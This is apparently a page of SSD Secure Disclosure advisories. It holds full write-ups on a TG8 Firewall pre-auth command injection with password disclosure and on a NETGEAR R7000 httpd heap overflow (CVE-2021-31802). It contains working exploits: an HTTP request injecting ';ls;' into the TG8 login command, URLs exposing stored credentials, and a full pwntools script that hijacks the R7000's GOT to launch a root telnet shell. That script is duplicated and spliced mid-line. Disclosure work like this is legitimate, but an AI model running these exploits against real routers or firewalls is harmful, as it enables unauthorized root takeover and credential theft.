SSD Advisory – NETGEAR D7000 Authentication Bypass

Find out how a vulnerability in NETGEAR D7000 device allows remote unauthenticated users to reveal the ‘admin’ password used to login to the admin web interface of the product. NOTE: The vendor states that multiple other devices are also vulnerable.

SSD Advisory – Ivanti Avalanche Directory Traversal

Find out how a directory traversal vulnerability in Ivanti Avalanche allows remote unauthenticated user to access files that reside outside the ‘image’ folder.

SSD Advisory – VoIPmonitor UnAuth RCE

Find out how a vulnerability in VoIPmonitor allows an unauthenticated attacker to execute arbitrary code.

SSD Advisory – TG8 Firewall PreAuth RCE and Password Disclosure

TL;DR

Find out how vulnerabilities in TG8 Firewall allows remote unauthenticated users to execute arbitrary code on the remote device as well as disclose the passwords of existing accounts.

Vulnerability Summary

Two security vulnerabilities in TG8 Firewall have been found allowing a remote user to execute commands as root user without needing to authenticate with the device or have any privileged access, the second vulnerability allows to expose existing users’ passwords without being authenticated with the remote device.

CVE

Pending

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions
TG8 Firewall

Vendor Response

Numerous attempts to contact the vendor via Twitter, Facebook and Emails have not triggered any response from the vendor. We urge customers of this product to immediately block internet facing port 80/443 used for administering the device – it can be easily compromised.

Vulnerability Analysis

PreAuth RCE

The vulnerability exists in the way the authentication request is handled, due to which it leads to a remote command execution vulnerability with root user privileges. The data passed via user and password parameters is directly used as a parameter of a Linux command which allows command execution.

index.php source code

If you examine the index.php file you will notice that it calls a command called runphpcmd.php with a value of 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass; this is very strange and very unusual, but what you should immediately notice its basically calling a command prefixed with sudo and examines the response to that command.

Obviously if we change the cmd being called we can theoretically execute any command, but lets first verify what runphpcmd.php does – as it may be filtering or limiting what commands can be run:

...
  function checkLogin() {
    var username = $('input[name=u]').val();
    var pass = $('input[name=p]').val();

    var cmd = 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
    $.ajax({
      url: "runphpcmd.php",
      type: "post",
      dataType: "json",
      cache: "false",
      data: {
        syscmd: cmd
      },
      success: function (x) {
        if (x == 'OK') {
          ok(username);
        } else {
          failed();
        }
      },
      error: function () {
      ok(username);
        // alert("failure to excute the command");
      }
    })
  }
...

runphpcmd.php source code

As can be seen in the source code of runphpcmd.php we can note that there is no verification of what syscmd is running and the outcome is returned in JSON format back to the caller of this file:

<?php
  header('Content-Type: application/json');

  $response= array();
  $output= array();

  $cmd_1 = $_POST['syscmd'];
  $data = 'cmd= '.$cmd_1."\n";
  $fp = fopen('/opt/phpJS.log', 'a');
  fwrite($fp, $data);

  exec($cmd_1,$output,$ret);

  $data = ' output ='. json_encode($output)."\n*******************************************************\n";
  $fp = fopen('/opt/phpJS.log', 'a');
  fwrite($fp, $data);

  $response[] = array("result" => $output);

  // Encoding array in JSON format
  echo json_encode($output);
?>

Exploit

POST http://<server>/admin/runphpcmd.php HTTP/1.1
Host: Server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: keep-alive


syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+<command here>++local

The value passed via the parameter syscmd is not sanitized which leads to RCE

ex: ls Command executed in below request. Payload: ;ls;

syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bls%3B++local

The response for the above request will contain result for the command execution.

Password Disclosure

A folder that is insecurely accessible to remote unauthenticated users /data/ stores the credentials of previously logged on users. Since this folder doesn’t require any special access to access – enumerating the files that are located under it can be used to reveal accounts present on the TG8 Firewall.

Example URLs:

http://<server>/data/w-341.tg
http://<server>/data/w-342.tg
http://<server>/data/r-341.tg
http://<server>/data/r-342.tg

SSD Advisory – NETGEAR Nighthawk R7000 httpd PreAuth RCE

TL;DR

Find out how a vulnerability in NETGEAR R7000 allows an attacker to run arbitrary code without requiring authentication with the device.

Vulnerability Summary

A vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NETGEAR R7000 routers.

Authentication is not required to exploit this vulnerability.

The vulnerability exists within the handling of HTTP request, the issue results from the lack of proper validation of user supplied data, which can result a heap overflow. An attacker can leverage this vulnerability to execute code with the root privilege.

CVE

CVE-2021-31802

Credit

An independent security researcher, @colorlight2019, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Netgear Nighthawk R7000 running firmware version 1.0.11.116 and before

Vendor Response

The vendor has been contacted through Bugcrowd, however Bugcrowd classified it as irrelevant because it was not tested on the “latest” firmware version is 1.3.2.134, which is incorrect. We attempted to contact them again, but subsequent messages got ignored.

This is the most unprofessional behaviour we have noted from Bugcrowd / the vendor – it is clearly a mistaken classification.

Vulnerability Analysis

We start off with bypassing the patch made for the ZDI-20-709 vulnerability. The patch for ZDI-20-709 cannot solve the root cause of the vulnerability. The httpd program allows user to upload a file with the url /backup.cgi.

While the root cause of the vulnerability is that the program uses two variables to represent the length of the uploaded file. One variable is related to the value of the Content-length in the http post request header, the other one is the length of the file content in the http post request body.

The vulnerability exists in the sub_16674 . Below picture is the heap overflow point:

The decompiled code is like this:

The program allocates memory for storing the file content by calling malloc,the return value is stored by dword_1DE2F8 , the size is the value of Content-Length plus 600. The Content-Length value can be controlled by the attacker, thus if we provide a proper value, we can make the malloc to return any size of the heap chunk we want.

The memcpy function copies the http request payload from s1 to dword_1DE2F8 , the copied buffer length is v80-v91 which is the length of the file content in the http post request body.

So this is the problem, the size of the heap-based buffer dword_1DE2F8 can by controlled by the attacker with a small value, and the v80-v91 can also by controlled with another larger value. Thus, it can cause a heap overflow.

Exploit Considerations

The patch for ZDI-20-709 is that it adds a check for one byte before Content-Length , it checks if it is a ‘\n’ , so we simply add a ‘\n’ before the Content-Length in order to bypass the patch. Though the vulnerabilities are basically the same, but the exploit still needs a lot of efforts because the heap states are different between R6700 and R7000.

We may conduct a fastbin dup attack to the heap overflow vulnerability. But it is not easy to do this. Fastbin dup attack needs two continuous malloc function to get two return address from a same fastbin list, the first malloc returns the chunk whose fd pointer is overwritten by the heap overflow, the second malloc returns the address where we want to write data.

The biggest problem is that there should be no free procedure between these two malloc functions. But dword_1DE2F8 is checked every time before malloc:

If dword_1DE2F8 is not a null pointer, it will be freed and set 0. Thus we should find another point of calling malloc.

Luckily, there is another malloc whose size can by controlled by us, it is in the function of sub_A5B68:

The function handles another file upload http request, we may use the /genierestore.cgi to trigger this function.

But there is another problem, both /genierestore.cgi and /backup.cgi requests can cause the fopen function gets called. The fopen function will call malloc(0x60) and mallloc(0x1000). malloc(0x1000) will cause __malloc_consolidate function gets called which will destroy the fastbin, since the size is larger than the value of max_fast.

We need to find a way to change the max_fast value to a large value so that the __malloc_consolidate will not be triggered. According to the implementation of uClibc free function:

 if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS
 /* If TRIM_FASTBINS set, don't place chunks
 bordering top into fastbins */
 && (chunk_at_offset(p, size) != av->top)
#endif
 ) {
  set_fastchunks(av);
  fb = &(av->fastbins[fastbin_index(size)]); // <-------when size is set 8 bytes, the fastbin_index(size) is -1
  p->fd = *fb;
  *fb = p;
 }

When we free a chunk whose size is 0x8, fastbin_index(size) return -1, and av->fastbins[fastbin_index(size)] will cause an out-of-bounds access.

struct malloc_state {
 /* The maximum chunk size to be eligible for fastbin */
 size_t max_fast; /* low 2 bits used as flags */
 // 0
 /* Fastbins */
 // 4
 mfastbinptr fastbins[NFASTBINS];
 ...
}

According to the struct of malloc_state, fb = &(av->fastbins[-1]) exactly points to max_fast , thus *fb = p will make the max_fast to a large value. But in the normal situation, the chunk size cannot be 0x8 bytes, because it means that the user data is 0 byte.

So we can first make use of the heap overflow vulnerability to overwrite the PREV_INUSE flag of a chunk so that it incorrectly indicates that the previous chunk is free. Due to the incorrect PREV_INUSE flag, we can get malloc() to return a chunk that overlaps an actual existing chunk.

This lets us edit the size field in the existing chunk’s metadata, setting it to the invalid value of 8. When this chunk is freed and placed on the fastbin, malloc_stats->max_fast is overwritten by a large value. Then the fopen will not lead to a __malloc_consolidate, so we can conduct a fastbin dup attack.

Once we make the malloc return a chosen address, we could overwrite the GOT entry of the free to the address of system PLT code. Finally we execute utelnetd -l /bin/sh to start the telnet service, then we get the root shell of R7000.

Some techniques were used to make the exploit more reliable:

  1. To make the malloc chunks are adjacent so that the heap overflow will not corrupt other heap-based buffers, I
    send a very long payload to trigger closing the tcp connection in advance so that the /backup.cgi request will
    not calling fopen subsequently, and there will be no other malloc calling between two http requests.

2. The httpd program’s heap state may be different when user login or logout the web management, to make the heap state consistent,we first try to logon with wrong password for 3 times, the httpd program will redirect the user to a Router Password Reset page. This will make the heap state clear and known

Exploit

# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]
    
    last_chunk = total_payload[t2:]
    # print(last_chunk)
        

    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():
    
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   
   
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   

   
    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   
   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def gen_request(path, headers, files):
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    return request

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def send_payload(file_name_len,files):

    total_payload = 'a'*(609 + 1024 * 58)


    path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']

    f = copy.deepcopy(files)
    f['filename'] = make_filename(file_name_len)
    valid_payload = gen_request(path, headers, f)
    vaild_len = len(valid_payload)
    total_len = 609 + 1024 * 58
    blind_payload_len = total_len - vaild_len
    blind_payload = 'a' * blind_payload_len
    total_payload = blind_payload + valid_payload

    t1 = 0
    t2 = 0
    for i in range(0,58):
        t1 = int(i * 1024)
        t2 = int((i+1)*1024 )
        chunk = total_payload[t1:t2]
    
    last_chunk = total_payload[t2:]
    # print(last_chunk)
        

    r = remote(rhost, rport)
    r.send(total_payload)
    sleep(0.5)
    r.close()

def execute():
    
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)       

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x20,files)        


    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
    send_payload(0x18,files)     


    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
    post_request('/genierestore.cgi', headers, f)   
   
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(0x18,files)  


    f = copy.deepcopy(files)   
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   


    magic_size =  0x48

    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
    post_request('/genierestore.cgi', headers, f)   

   
    free_got_addr = 0x00120920
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
    send_payload(0x20,files)   
   

    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    send_payload(magic_size,files)   

    system_addr_plt = 0x0000E804
    command = 'utelnetd -l /bin/sh'
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
    post_request('/genierestore.cgi', headers, f) 



def send_request():
    r = remote(rhost, rport)

    login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost

    r.send(login_request)
    a = r.recv(0x1000)
    # print a
    r.close()
    return a
if __name__ == '__main__':
    context.log_level = 'error'

    if (len(sys.argv) < 3):
        print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]

    while True:
        ret = send_request()
        firstline = ret.split('\n')[0]
        if firstline.find('200') != -1:
            break

    execute()
    print('router is exploited!!!')

    print('router is exploited!!!')